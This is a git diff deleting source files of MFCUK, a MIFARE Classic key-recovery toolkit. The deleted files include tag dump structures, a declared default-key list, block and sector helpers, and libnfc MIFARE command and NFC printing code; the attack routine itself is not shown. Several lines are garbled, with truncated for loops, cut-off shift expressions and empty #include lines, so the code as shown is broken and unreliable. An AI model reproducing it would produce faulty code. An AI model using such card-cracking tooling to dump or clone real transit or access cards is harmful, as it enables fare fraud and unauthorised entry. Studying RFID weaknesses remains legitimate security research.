printf("-------------------------------------------------------\n"); - printf("Sector\t| Key A\t| AC bits\t| Key B\n"); - printf("-------------------------------------------------------\n"); - - if ( IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown) ) - { - max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; - } - else - { - max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; - } - - for (i=0; iabtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2], - ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5], - ptr_trailer->abtAccessBits[0], ptr_trailer->abtAccessBits[1], ptr_trailer->abtAccessBits[2], ptr_trailer->abtAccessBits[3], - ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2], - ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5] - ); - - // Go beyond current trailer block, i.e. go to next sector - i = trailer_block; - } - - printf("\n"); - - return; -} - -bool mfcuk_key_uint64_to_arr(const uint64_t *ui64Key, byte_t *arr6Key) -{ - int i; - - if ( !ui64Key || !arr6Key ) - { - return false; - } - - for (i = 0; i> 8*(MIFARE_CLASSIC_KEY_BYTELENGTH - i - 1)) & 0xFF); - } - - return true; -} - -bool mfcuk_key_arr_to_uint64(const byte_t *arr6Key, uint64_t *ui64Key) -{ - uint64_t key = 0; - int i; - - if ( !ui64Key || !arr6Key ) - { - return false; - } - - for (i = 0; i>= 8; - - *ui64Key = key; - - return true; -} diff --git a/src/mfcuk_mifare.h b/src/mfcuk_mifare.h deleted file mode 100644 index c482bd6..0000000 --- a/src/mfcuk_mifare.h +++ /dev/null @@ -1,145 +0,0 @@ -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Package version: - 0.1 - - Filename: - mfcuk_mifare.h - - Description: - MFCUK defines and function prototypes header file extending - mainly libnfc's "mifare.h" interface/functionality. - - Contact, bug-reports: - http://andreicostin.com/ - mailto:zveriu@gmail.com - - License: - GPL2 (see below), Copyright (C) 2009, Andrei Costin - - * @file mfcuk_mifare.h - * @brief -*/ - -/* - VERSION HISTORY --------------------------------------------------------------------------------- -| Number : 0.1 -| dd/mm/yyyy : 23/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Moved bulk of defines and functions from "mfcuk_keyrecovery_darkside.c" --------------------------------------------------------------------------------- -*/ - -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#ifndef _MFCUK_MIFARE_H_ -#define _MFCUK_MIFARE_H_ - -#include -#include - -#include -#include "mifare.h" - -#define MIFARE_CLASSIC_UID_BYTELENGTH 4 // Length of a Mifare Classic UID in bytes -#define MIFARE_CLASSIC_KEY_BYTELENGTH 6 // Length of a Mifare Classic key in bytes -#define MIFARE_CLASSIC_1K_NAME "MC1K" -#define MIFARE_CLASSIC_4K_NAME "MC4K" -#define MIFARE_CLASSIC_UNKN_NAME "UNKN" -#define MIFARE_CLASSIC_1K 0x08 // MF1ICS50 Functional Specifications - 0x08 -#define MIFARE_CLASSIC_4K 0x18 // MF1ICS70 Functional Specifications - 0x18 -#define MIFARE_DESFIRE 0x20 // XXXXXXXX Functional Specifications - 0x20 -#define MIFARE_CLASSIC_1K_RATB 0x88 // Infineon Licensed Mifare 1K = 0x88 (thanks JPS) -#define MIFARE_CLASSIC_4K_SKGT 0x98 // Infineon Licensed Mifare 4K = 0x98??? - -#define IS_MIFARE_CLASSIC_1K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_1K) || ((ats_sak) == MIFARE_CLASSIC_1K_RATB) ) -#define IS_MIFARE_CLASSIC_4K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_4K) || ((ats_sak) == MIFARE_CLASSIC_4K_SKGT) ) -#define IS_MIFARE_DESFIRE(ats_sak) ( ((ats_sak) == MIFARE_DESFIRE) ) - -#define IS_MIFARE_CLASSIC_1K_TAG(tag) IS_MIFARE_CLASSIC_1K(tag->amb[0].mbm.btUnknown) -#define IS_MIFARE_CLASSIC_4K_TAG(tag) IS_MIFARE_CLASSIC_4K(tag->amb[0].mbm.btUnknown) -#define IS_MIFARE_DESFIRE_TAG(tag) IS_MIFARE_DESFIRE(tag->amb[0].mbm.btUnknown) - -#define MIFARE_CLASSIC_BYTES_PER_BLOCK 16 // Common for Mifare Classic 1K and Mifare Classic 4K -#define MIFARE_CLASSIC_INVALID_BLOCK 0xFFFFFFFF - -#define MIFARE_CLASSIC_1K_MAX_SECTORS 16 -#define MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR 4 -#define MIFARE_CLASSIC_1K_MAX_BLOCKS ( (MIFARE_CLASSIC_1K_MAX_SECTORS) * (MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR) ) - -#define MIFARE_CLASSIC_4K_MAX_SECTORS1 32 -#define MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1 MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR // Possibly NXP made it for Mifare 1K backward compatibility -#define MIFARE_CLASSIC_4K_MAX_BLOCKS1 ( (MIFARE_CLASSIC_4K_MAX_SECTORS1) * (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) ) - -#define MIFARE_CLASSIC_4K_MAX_SECTORS2 8 -#define MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2 16 -#define MIFARE_CLASSIC_4K_MAX_BLOCKS2 ( (MIFARE_CLASSIC_4K_MAX_SECTORS2) * (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) ) - -#define MIFARE_CLASSIC_4K_MAX_SECTORS ( (MIFARE_CLASSIC_4K_MAX_SECTORS1) + (MIFARE_CLASSIC_4K_MAX_SECTORS2) ) -#define MIFARE_CLASSIC_4K_MAX_BLOCKS ( (MIFARE_CLASSIC_4K_MAX_BLOCKS1) + (MIFARE_CLASSIC_4K_MAX_BLOCKS2) ) - -#define MFCUK_EXTENDED_DESCRIPTION_LENGTH 128 - -// Define an extended type of dump, basically a wrapper dump around basic tag dump -typedef struct { - uint32_t uid; // looks redundant, but it is easier to use dmp.uid instead of dmp.amb.mbm.abtUID[0]...[3] - byte_t type; // ATS/SAK from ti.tia.btSak, example 0x08h for Mifare 1K, 0x18h for Mifare 4K - char datetime[14]; // non-zero-terminated date-time of dump in format YYYYMMDDH24MISS, example 20091114231541 - 14 Nov 2009, 11:15:41 PM - char description[MFCUK_EXTENDED_DESCRIPTION_LENGTH]; // a description of the tag dump, example "RATB_DUMP_BEFORE_PAY" - mifare_classic_tag tag_basic; -} mifare_classic_tag_ext; - -// Define type of keys (A or B) in NXP notation -typedef enum { - keyA = 0x60, - keyB = 0x61, -} mifare_key_type; - -// Default keys used as a *BIG* mistake in many applications - especially System Integrators should pay attention! -extern byte_t mfcuk_default_keys[][MIFARE_CLASSIC_KEY_BYTELENGTH]; -extern int mfcuk_default_keys_num; - -bool is_valid_block(byte_t bTagType, uint32_t uiBlock); -bool is_valid_sector(byte_t bTagType, uint32_t uiSector); -bool is_first_block(byte_t bTagType, uint32_t uiBlock); -bool is_trailer_block(byte_t bTagType, uint32_t uiBlock); -uint32_t get_first_block(byte_t bTagType, uint32_t uiBlock); -uint32_t get_trailer_block(byte_t bTagType, uint32_t uiBlock); -bool is_big_sector(byte_t bTagType, uint32_t uiSector); -uint32_t get_first_block_for_sector(byte_t bTagType, uint32_t uiSector); -uint32_t get_trailer_block_for_sector(byte_t bTagType, uint32_t uiSector); -uint32_t get_sector_for_block(byte_t bTagType, uint32_t uiBlock); -bool is_first_sector(byte_t bTagType, uint32_t uiSector); -bool is_first_big_sector(byte_t bTagType, uint32_t uiSector); -bool is_first_small_sector(byte_t bTagType, uint32_t uiSector); -bool is_last_sector(byte_t bTagType, uint32_t uiSector); -bool is_last_big_sector(byte_t bTagType, uint32_t uiSector); -bool is_last_small_sector(byte_t bTagType, uint32_t uiSector); -void test_mifare_classic_blocks_sectors_functions(byte_t bTagType); -bool mfcuk_save_tag_dump(char *filename, mifare_classic_tag *tag); -bool mfcuk_save_tag_dump_ext(char *filename, mifare_classic_tag_ext *tag_ext); -bool mfcuk_load_tag_dump(char *filename, mifare_classic_tag *tag); -bool mfcuk_load_tag_dump_ext(char *filename, mifare_classic_tag_ext *tag_ext); -void print_mifare_classic_tag_keys(const char *title, mifare_classic_tag *tag); -bool mfcuk_key_uint64_to_arr(const uint64_t *ui64Key, byte_t *arr6Key); -bool mfcuk_key_arr_to_uint64(const byte_t *arr6Key, uint64_t *ui64Key); - -#endif // _MFCUK_MIFARE_H_ diff --git a/src/mfcuk_utils.c b/src/mfcuk_utils.c deleted file mode 100644 index b205498..0000000 --- a/src/mfcuk_utils.c +++ /dev/null @@ -1,81 +0,0 @@ -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Package version: - 0.1 - - Filename: - mfcuk_utils.c - - Description: - MFCUK common utility functions implementation. - - License: - GPL2 (see below), Copyright (C) 2009, Andrei Costin - - * @file mfcuk_utils.c - * @brief -*/ - -/* - VERSION HISTORY --------------------------------------------------------------------------------- -| Number : 0.1 -| dd/mm/yyyy : 23/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Moved bulk of defines and prototypes from "mfcuk_keyrecovery_darkside.c" --------------------------------------------------------------------------------- -*/ - -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#include "mfcuk_utils.h" - -#ifdef __STDC__ - struct timeval global_timeout; -#endif - -/* -http://www.velocityreviews.com/forums/t451319-advice-required-on-my-ascii-to-hex-conversion-c.html -Basically, converting a hex digit into a hex nibble (4 binary digits) algorithm looks like; - char xdigit; // hex digit to convert [0-9A-Fa-f] - xdigit = tolower(xdigit); // make it lowercase [0-9a-f] - xdigit -= '0'; // if it was a [0-9] digit, it's the value now - if(xdigit > 9) // if it was a [a-f] digit, compensate for that - xdigit = xdigit + '0' - 'a'; -The below code is just an optimization of the algorithm. Maxim Yegorushkin -*/ - -/*inline*/ -int is_hex(char c) -{ - return (c >= '0' && c <= '9') || ((c | 0x20) >= 'a' && (c | 0x20) <= 'f'); -} - -/*inline*/ -unsigned char hex2bin(unsigned char h, unsigned char l) -{ - h |= 0x20; // to lower - h -= 0x30; - h -= -(h > 9) & 0x27; - l |= 0x20; - l -= 0x30; - l -= -(l > 9) & 0x27; - return h << 4 | l; -} diff --git a/src/mfcuk_utils.h b/src/mfcuk_utils.h deleted file mode 100644 index ccb2bf9..0000000 --- a/src/mfcuk_utils.h +++ /dev/null @@ -1,104 +0,0 @@ -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Package version: - 0.1 - - Filename: - mfcuk_utils.h - - Description: - MFCUK common utility functions prototypes. - - License: - GPL2 (see below), Copyright (C) 2009, Andrei Costin - - * @file mfcuk_utils.h/ - * @brief -*/ - -/* - VERSION HISTORY --------------------------------------------------------------------------------- -| Number : 0.1 -| dd/mm/yyyy : 23/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Moved bulk of defines and prototypes from "mfcuk_keyrecovery_darkside.c" --------------------------------------------------------------------------------- -*/ - -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#ifndef _MFCUK_UTILS_H_ -#define _MFCUK_UTILS_H_ - -#include -#include -#include - -#ifdef WIN32 - #define NOMINMAX - #include "windows.h" - #include "xgetopt.h" -#elif __STDC__ - #include - #include - #include -#endif - -// "Portable" sleep(miliseconds) -#ifdef WIN32 - #define sleep(x) Sleep(x) -#elif __STDC__ - extern struct timeval global_timeout; - #define sleep(x) { global_timeout.tv_usec = 1000 * (x); select(0,NULL,NULL,NULL,&global_timeout); } -#endif - -// "Portable" clear_screen() - NOTE: system performance penalty introduced -#ifdef WIN32 - #define clear_screen() system("cls") -#elif __STDC__ - #define clear_screen() system("sh -c clear") -#endif - -/** - * @fn int is_hex(char c) - * @brief Checks if an ASCII character is a valid hexadecimal base digit - * @param c The ASCII character to be checked - * @return Returns true (non-zero) or false (zero) - * - * Checks if an ASCII character is a valid hexadecimal base digit. - * Used for hex2bin() functionality. - */ -int is_hex(char c); - -/** - * @fn unsigned char hex2bin(unsigned char h, unsigned char l) - * @brief Converts from two nibbles (4 bits) into the corresponding byte - * @param h The HIGH (left-most in human reading) nibble of two-char hex representation of a byte - * @param l The LOW (right-most in human reading) nibble of two-char hex representation of a byte - * @return Returns the byte which is formed from the two-char hex representation of it - * - * Converts from two nibbles (4 bits) into the corresponding byte. - * Uses the algorithm and implementation from here: - * http://www.velocityreviews.com/forums/t451319-advice-required-on-my-ascii-to-hex-conversion-c.html - */ -unsigned char hex2bin(unsigned char h, unsigned char l); - -#endif // _MFCUK_UTILS_H_ diff --git a/src/mifare.c b/src/mifare.c deleted file mode 100644 index ef9d147..0000000 --- a/src/mifare.c +++ /dev/null @@ -1,130 +0,0 @@ -/*- - * Public platform independent Near Field Communication (NFC) library examples - * - * Copyright (C) 2009, Roel Verdult - * Copyright (C) 2010, Romuald Conty, Romain Tartière - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * 1) Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2 )Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE - * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - * POSSIBILITY OF SUCH DAMAGE. - * - * Note that this license only applies on the examples, NFC library itself is under LGPL - * - */ - -#include "mifare.h" - -#include - -#include - -/** - * @brief Execute a MIFARE Classic Command - * @return Returns true if action was successfully performed; otherwise returns false. - * @param pmp Some commands need additional information. This information should be supplied in the mifare_param union. - * - * The specified MIFARE command will be executed on the tag. There are different commands possible, they all require the destination block number. - * @note There are three different types of information (Authenticate, Data and Value). - * - * First an authentication must take place using Key A or B. It requires a 48 bit Key (6 bytes) and the UID. - * They are both used to initialize the internal cipher-state of the PN53X chip (http://libnfc.org/hardware/pn53x-chip). - * After a successful authentication it will be possible to execute other commands (e.g. Read/Write). - * The MIFARE Classic Specification (http://www.nxp.com/acrobat/other/identification/M001053_MF1ICS50_rev5_3.pdf) explains more about this process. - */ -bool -nfc_initiator_mifare_cmd (nfc_device_t * pnd, const mifare_cmd mc, const uint8_t ui8Block, mifare_param * pmp) -{ - byte_t abtRx[265]; - size_t szRx = sizeof(abtRx); - size_t szParamLen; - byte_t abtCmd[265]; - bool bEasyFraming; - - abtCmd[0] = mc; // The MIFARE Classic command - abtCmd[1] = ui8Block; // The block address (1K=0x00..0x39, 4K=0x00..0xff) - - switch (mc) { - // Read and store command have no parameter - case MC_READ: - case MC_STORE: - szParamLen = 0; - break; - - // Authenticate command - case MC_AUTH_A: - case MC_AUTH_B: - szParamLen = sizeof (mifare_param_auth); - break; - - // Data command - case MC_WRITE: - szParamLen = sizeof (mifare_param_data); - break; - - // Value command - case MC_DECREMENT: - case MC_INCREMENT: - case MC_TRANSFER: - szParamLen = sizeof (mifare_param_value); - break; - - // Please fix your code, you never should reach this statement - default: - return false; - break; - } - - // When available, copy the parameter bytes - if (szParamLen) - memcpy (abtCmd + 2, (byte_t *) pmp, szParamLen); - - bEasyFraming = pnd->bEasyFraming; - if (!nfc_configure (pnd, NDO_EASY_FRAMING, true)) { - nfc_perror (pnd, "nfc_configure"); - return false; - } - // Fire the mifare command - if (!nfc_initiator_transceive_bytes (pnd, abtCmd, 2 + szParamLen, abtRx, &szRx, NULL)) { - if (pnd->iLastError == EINVRXFRAM) { - // "Invalid received frame" AKA EINVRXFRAM, usual means we are - // authenticated on a sector but the requested MIFARE cmd (read, write) - // is not permitted by current acces bytes; - // So there is nothing to do here. - } else { - nfc_perror (pnd, "nfc_initiator_transceive_bytes"); - } - nfc_configure (pnd, NDO_EASY_FRAMING, bEasyFraming); - return false; - } - if (!nfc_configure (pnd, NDO_EASY_FRAMING, bEasyFraming)) { - nfc_perror (pnd, "nfc_configure"); - return false; - } - - // When we have executed a read command, copy the received bytes into the param - if (mc == MC_READ) { - if (szRx == 16) { - memcpy (pmp->mpd.abtData, abtRx, 16); - } else { - return false; - } - } - // Command succesfully executed - return true; -} diff --git a/src/mifare.h b/src/mifare.h deleted file mode 100644 index df357df..0000000 --- a/src/mifare.h +++ /dev/null @@ -1,139 +0,0 @@ -/*- - * Public platform independent Near Field Communication (NFC) library examples - * - * Copyright (C) 2009, Roel Verdult - * Copyright (C) 2010, Romuald Conty, Romain Tartière - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * 1) Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2 )Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE - * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - * POSSIBILITY OF SUCH DAMAGE. - * - * Note that this license only applies on the examples, NFC library itself is under LGPL - * - */ - -/** - * @file mifaretag.h - * @brief provide samples structs and functions to manipulate MIFARE Classic and Ultralight tags using libnfc - */ - -#ifndef _LIBNFC_MIFARE_H_ -# define _LIBNFC_MIFARE_H_ - -# include - -// Compiler directive, set struct alignment to 1 byte_t for compatibility -# pragma pack(1) - -typedef enum { - MC_AUTH_A = 0x60, - MC_AUTH_B = 0x61, - MC_READ = 0x30, - MC_WRITE = 0xA0, - MC_TRANSFER = 0xB0, - MC_DECREMENT = 0xC0, - MC_INCREMENT = 0xC1, - MC_STORE = 0xC2 -} mifare_cmd; - -// MIFARE command params -typedef struct { - byte_t abtKey[6]; - byte_t abtUid[4]; -} mifare_param_auth; - -typedef struct { - byte_t abtData[16]; -} mifare_param_data; - -typedef struct { - byte_t abtValue[4]; -} mifare_param_value; - -typedef union { - mifare_param_auth mpa; - mifare_param_data mpd; - mifare_param_value mpv; -} mifare_param; - -// Reset struct alignment to default -# pragma pack() - -bool nfc_initiator_mifare_cmd (nfc_device_t * pnd, const mifare_cmd mc, const uint8_t ui8Block, mifare_param * pmp); - -// Compiler directive, set struct alignment to 1 byte_t for compatibility -# pragma pack(1) - -// MIFARE Classic -typedef struct { - byte_t abtUID[4]; - byte_t btBCC; - byte_t btUnknown; - byte_t abtATQA[2]; - byte_t abtUnknown[8]; -} mifare_classic_block_manufacturer; - -typedef struct { - byte_t abtData[16]; -} mifare_classic_block_data; - -typedef struct { - byte_t abtKeyA[6]; - byte_t abtAccessBits[4]; - byte_t abtKeyB[6]; -} mifare_classic_block_trailer; - -typedef union { - mifare_classic_block_manufacturer mbm; - mifare_classic_block_data mbd; - mifare_classic_block_trailer mbt; -} mifare_classic_block; - -typedef struct { - mifare_classic_block amb[256]; -} mifare_classic_tag; - -// MIFARE Ultralight -typedef struct { - byte_t sn0[3]; - byte_t btBCC0; - byte_t sn1[4]; - byte_t btBCC1; - byte_t internal; - byte_t lock[2]; - byte_t otp[4]; -} mifareul_block_manufacturer; - -typedef struct { - byte_t abtData[16]; -} mifareul_block_data; - -typedef union { - mifareul_block_manufacturer mbm; - mifareul_block_data mbd; -} mifareul_block; - -typedef struct { - mifareul_block amb[4]; -} mifareul_tag; - -// Reset struct alignment to default -# pragma pack() - -#endif // _LIBNFC_MIFARE_H_ diff --git a/src/nfc-utils.c b/src/nfc-utils.c deleted file mode 100644 index 4321169..0000000 --- a/src/nfc-utils.c +++ /dev/null @@ -1,734 +0,0 @@ -/*- - * Public platform independent Near Field Communication (NFC) library examples - * - * Copyright (C) 2009, Roel Verdult - * Copyright (C) 2010, Romuald Conty, Romain Tartière - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions are met: - * 1) Redistributions of source code must retain the above copyright notice, - * this list of conditions and the following disclaimer. - * 2 )Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" - * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE - * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE - * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE - * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - * POSSIBILITY OF SUCH DAMAGE. - * - * Note that this license only applies on the examples, NFC library itself is under LGPL - * - */ - -#include -#include - -#include "nfc-utils.h" - -static const byte_t OddParity[256] = { - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1 -}; - -byte_t -oddparity (const byte_t bt) -{ - return OddParity[bt]; -} - -void -oddparity_bytes_ts (const byte_t * pbtData, const size_t szLen, byte_t * pbtPar) -{ - size_t szByteNr; - // Calculate the parity bits for the command - for (szByteNr = 0; szByteNr < szLen; szByteNr++) { - pbtPar[szByteNr] = OddParity[pbtData[szByteNr]]; - } -} - -void -print_hex (const byte_t * pbtData, const size_t szBytes) -{ - size_t szPos; - - for (szPos = 0; szPos < szBytes; szPos++) { - printf ("%02x ", pbtData[szPos]); - } - printf ("\n"); -} - -void -print_hex_bits (const byte_t * pbtData, const size_t szBits) -{ - uint8_t uRemainder; - size_t szPos; - size_t szBytes = szBits / 8; - - for (szPos = 0; szPos < szBytes; szPos++) { - printf ("%02x ", pbtData[szPos]); - } - - uRemainder = szBits % 8; - // Print the rest bits - if (uRemainder != 0) { - if (uRemainder < 5) - printf ("%01x (%d bits)", pbtData[szBytes], uRemainder); - else - printf ("%02x (%d bits)", pbtData[szBytes], uRemainder); - } - printf ("\n"); -} - -void -print_hex_par (const byte_t * pbtData, const size_t szBits, const byte_t * pbtDataPar) -{ - uint8_t uRemainder; - size_t szPos; - size_t szBytes = szBits / 8; - - for (szPos = 0; szPos < szBytes; szPos++) { - printf ("%02x", pbtData[szPos]); - if (OddParity[pbtData[szPos]] != pbtDataPar[szPos]) { - printf ("! "); - } else { - printf (" "); - } - } - - uRemainder = szBits % 8; - // Print the rest bits, these cannot have parity bit - if (uRemainder != 0) { - if (uRemainder < 5) - printf ("%01x (%d bits)", pbtData[szBytes], uRemainder); - else - printf ("%02x (%d bits)", pbtData[szBytes], uRemainder); - } - printf ("\n"); -} - -#define SAK_UID_NOT_COMPLETE 0x04 -#define SAK_ISO14443_4_COMPLIANT 0x20 -#define SAK_ISO18092_COMPLIANT 0x40 - -void -print_nfc_iso14443a_info (const nfc_iso14443a_info_t nai, bool verbose) -{ - printf (" ATQA (SENS_RES): "); - print_hex (nai.abtAtqa, 2); - if (verbose) { - printf("* UID size: "); - switch ((nai.abtAtqa[1] & 0xc0)>>6) { - case 0: - printf("single\n"); - break; - case 1: - printf("double\n"); - break; - case 2: - printf("triple\n"); - break; - case 3: - printf("RFU\n"); - break; - } - printf("* bit frame anticollision "); - switch (nai.abtAtqa[1] & 0x1f) { - case 0x01: - case 0x02: - case 0x04: - case 0x08: - case 0x10: - printf("supported\n"); - break; - default: - printf("not supported\n"); - break; - } - } - printf (" UID (NFCID%c): ", (nai.abtUid[0] == 0x08 ? '3' : '1')); - print_hex (nai.abtUid, nai.szUidLen); - if (verbose) { - if (nai.abtUid[0] == 0x08) { - printf ("* Random UID\n"); - } - } - printf (" SAK (SEL_RES): "); - print_hex (&nai.btSak, 1); - if (verbose) { - if (nai.btSak & SAK_UID_NOT_COMPLETE) { - printf ("* Warning! Cascade bit set: UID not complete\n"); - } - if (nai.btSak & SAK_ISO14443_4_COMPLIANT) { - printf ("* Compliant with ISO/IEC 14443-4\n"); - } else { - printf ("* Not compliant with ISO/IEC 14443-4\n"); - } - if (nai.btSak & SAK_ISO18092_COMPLIANT) { - printf ("* Compliant with ISO/IEC 18092\n"); - } else { - printf ("* Not compliant with ISO/IEC 18092\n"); - } - } - if (nai.szAtsLen) { - printf (" ATS: "); - print_hex (nai.abtAts, nai.szAtsLen); - } - if (nai.szAtsLen && verbose) { - // Decode ATS according to ISO/IEC 14443-4 (5.2 Answer to select) - const int iMaxFrameSizes[] = { 16, 24, 32, 40, 48, 64, 96, 128, 256 }; - printf ("* Max Frame Size accepted by PICC: %d bytes\n", iMaxFrameSizes[nai.abtAts[0] & 0x0F]); - - size_t offset = 1; - if (nai.abtAts[0] & 0x10) { // TA(1) present - byte_t TA = nai.abtAts[offset]; - offset++; - printf ("* Bit Rate Capability:\n"); - if (TA == 0) { - printf (" * PICC supports only 106 kbits/s in both directions\n"); - } - if (TA & 1<<7) { - printf (" * Same bitrate in both directions mandatory\n"); - } - if (TA & 1<<4) { - printf (" * PICC to PCD, DS=2, bitrate 212 kbits/s supported\n"); - } - if (TA & 1<<5) { - printf (" * PICC to PCD, DS=4, bitrate 424 kbits/s supported\n"); - } - if (TA & 1<<6) 